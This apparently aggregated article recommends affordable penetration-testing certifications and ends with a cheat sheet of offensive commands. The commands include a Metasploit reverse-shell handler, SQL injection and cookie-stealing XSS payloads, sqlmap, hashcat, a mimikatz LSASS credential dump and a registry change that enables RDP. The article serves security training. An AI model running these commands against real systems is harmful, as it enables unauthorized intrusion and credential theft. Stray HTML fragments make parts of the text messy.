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For aspiring pentesters seeking hands-on, practical certifications that truly enhance skills (without breaking the bank), here are top recommendations from industry professionals:
- PNPT (Practical Network Penetration Tester) – TCM Security
– Why? Fully practical exam simulating real-world engagements (5-day pentest + reporting).
– Cost: ~$400 (exam + training).
– Key Topics: Network attacks, privilege escalation, lateral movement, and professional reporting.
2. CPTS/CBBH – Hack The Box
- Why? In-depth methodology focus (no “easy CVE wins”).
- Cost: $8/month (student pricing) + $210 exam fee.
- Key Topics: Web/network exploitation, advanced attack vectors.
3. eJPT (eLearnSecurity Junior Pentester) – INE
- Why? Budget-friendly entry-level cert with hands-on labs.
- Cost: ~$200 (exam + free training).
- Key Topics: Basics of pentesting, reconnaissance, and exploitation.
4. PortSwigger’s Web Security Academy (Free + Certifications)
- Why? Best for web app pentesting (Burp Suite-centric).
- Cost: Free training; paid certs available.
You Should Know: Practical Commands & Steps
PNPT-Style Network Pentesting
1. Reconnaissance:
nmap -sV -A -T4 target_ip sudo autorecon target_ip
2. Exploitation:
searchsploit "Apache 2.4.50" msfconsole -q -x "use exploit/multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST your_ip; run"
3. Post-Exploitation:
Linux privilege escalation check linpeas.sh Windows privilege escalation winpeas.exe
CPTS-Style Web App Testing
1. SQL Injection:
' OR 1=1-- - sqlmap -u "http://target.com/login" --data="username=admin&password=test" --dbs
2. XSS Payload:
<script>alert(document.cookie)</script>
What Undercode Say
- Linux:
Packet capture tcpdump -i eth0 -w capture.pcap Crack hashes hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
- Windows:
Dump LSASS memory mimikatz.exe "sekurlsa::logonpasswords" Enable RDP reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
- Reporting: Always document findings with:
Vulnerability: SQLi in /login Impact: Critical Steps: </li> </ul> <ol> <li>Inject `' OR 1=1-- -` into username field. </li> <li>Observe database dump.
Expected Output: A skilled pentester with real-world-ready certifications (PNPT/CPTS) and actionable command-line proficiency.
Relevant URLs:
References:
Reported By: Paul Charles – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
